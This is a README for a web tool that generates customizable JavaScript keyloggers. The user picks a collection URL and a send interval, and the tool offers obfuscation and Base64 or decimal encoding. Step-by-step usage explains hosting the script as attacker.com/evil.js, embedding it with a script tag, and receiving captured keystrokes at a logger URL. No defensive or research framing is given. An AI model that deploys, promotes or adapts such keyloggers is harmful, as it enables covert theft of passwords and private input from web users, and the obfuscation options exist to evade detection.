js-keylogger-generator

"js-keylogger-generator" is a web application that generates a customizable keylogger script based on user inputs. Users can specify the URL where the captured keystrokes will be sent, as well as the time interval for sending the data. The generated script supports most keyboard characters and also includes special keys such as Backspace, Tab, Enter, Shift, Ctrl, Alt, Esc, Delete, and Caps Lock.

The tool currently supports US QWERTY keyboard layout, but it can be easily extended to support other keyboard layouts by modifying the source code. The generated script can also be obfuscated and encoded in various formats.

• None
• Obfuscated
• Base64 Encoded
• Base64 Encoded + Obfuscated
• Decimal Encoded
• Decimal Encoded + Obfuscated

Usage

Part 1

1. Go to: https://selmankon.github.io/js-keylogger-generator/
2. Fill in the necessary information in the form, including the URL Example: https://logger.com/?k= for the keylogger script and the interval timeout (in milliseconds).
3. Choose whether to encode or obfuscate the generated keylogger script, and select the appropriate options.
4. Click the "Generate" button to create the keylogger script.
5. Copy the generated script and paste it into a new JavaScript file in your logger website. (Example: https://attacker.com/evil.js)

Part 2

1. Add the keylogger script to your web page.

Example: attacker.com includes <script src="https://attacker.com/evil.js">

2. Launch the web page (in this case is attacker.com) and start typing. The keylogger will begin logging your keystrokes and sending them to the specified URL (in this case is logger.com) at the specified interval.

You can easily use:

python3 -m http.server 9090

Example

1. Create and copy the keylogging script. Paste this into the script.js file on your attacker website.

2. Go to the website that added the keylogger script. Send some keystrokes. (script.js is the generated script)

3. Logs started to appear on the logger server at the "Source URL" you filled in the form.
